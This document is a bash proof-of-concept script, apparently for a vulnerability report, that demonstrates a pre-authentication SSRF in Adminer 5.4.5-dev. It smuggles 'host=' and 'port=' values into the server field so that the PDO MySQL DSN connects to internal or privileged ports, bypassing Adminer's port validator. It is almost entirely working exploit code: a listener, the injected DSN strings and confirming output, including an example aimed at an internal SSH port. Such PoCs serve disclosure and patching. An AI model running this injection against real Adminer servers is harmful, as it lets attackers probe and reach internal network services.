#!/bin/bash
# Adminer 5.4.5-dev pre-auth SSRF PoC: PDO_MySQL honours a smuggled host=/port= from the
# injected `server` field and opens a TCP connection to a privileged/internal endpoint that
# the privileged-port validator (auth.inc.php:179) directly rejects.
# Proves the DSN Adminer builds for SERVER=localhost:zzz;host=127.0.0.1;port=<PORT> reaches TCP.
#
# Detection is nc-flavor-independent: a single-shot Python listener accepts one connection,
# writes a marker file, and closes immediately (so PDO returns at once instead of blocking).
set -u
PORT="${PORT:-9999}"
FLAG=$(mktemp)
rm -f "$FLAG"   # presence of this file == the smuggled TCP connect landed

if ! command -v python3 >/dev/null 2>&1; then echo "[-] need python3"; exit 1; fi

# Single-shot catcher: bind 127.0.0.1:PORT, accept one connection, record peer, close, exit.
python3 - "$PORT" "$FLAG" <<'PY' &
import socket, sys
port = int(sys.argv[1]); flag = sys.argv[2]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
    s.bind(("127.0.0.1", port)); s.listen(1); s.settimeout(10)
    conn, addr = s.accept()
    with open(flag, "w") as f: f.write("HIT %s:%d" % addr)
    conn.close()
except OSError as e:
    sys.stderr.write("[-] listener error: %s\n" % e)
finally:
    s.close()
PY
LPID=$!
sleep 0.7   # let the listener bind

DSN="mysql:charset=utf8;host=localhost;unix_socket=zzz;host=127.0.0.1;port=$PORT"
echo "[*] DSN as built by adminer/drivers/mysql.inc.php:180: $DSN"
php -r '$d=$argv[1]; try{new PDO($d,"x","x",[PDO::ATTR_TIMEOUT=>3]);}catch(Exception $e){echo "[*] PDO: ".$e->getMessage()."\n";}' "$DSN"

wait "$LPID" 2>/dev/null
if [ -f "$FLAG" ]; then
  echo "[*] Listener: $(cat "$FLAG")"
  echo "[+] CONFIRMED: PDO opened TCP to smuggled 127.0.0.1:$PORT (privileged-port validator bypassed)"
  rm -f "$FLAG"; exit 0
else
  echo "[-] no TCP connection observed (is pdo_mysql installed? is port $PORT free? try: PORT=9998 $0)"
  rm -f "$FLAG"; exit 1
fi

php poc_1_dsn_injection_ssrf_port_bypass.php
# 10.0.0.5:22 => REJECT(privileged port)
# localhost:zzz;host=10.0.0.5;port=22 => ALLOW

python3 -c 'import socket;s=socket.socket();s.setsockopt(1,2,1);s.bind(("127.0.0.1",9999));s.listen(1);s.settimeout(10);c,a=s.accept();print("HIT",a);c.close()' &
sleep 0.7
php -r '$d="mysql:charset=utf8;host=localhost;unix_socket=zzz;host=127.0.0.1;port=9999"; try{new PDO($d,"x","x",[PDO::ATTR_TIMEOUT=>3]);}catch(Exception $e){echo $e->getMessage();}'
# listener prints HIT ('127.0.0.1', <srcport>); PHP prints "MySQL server has gone away" = completed TCP handshake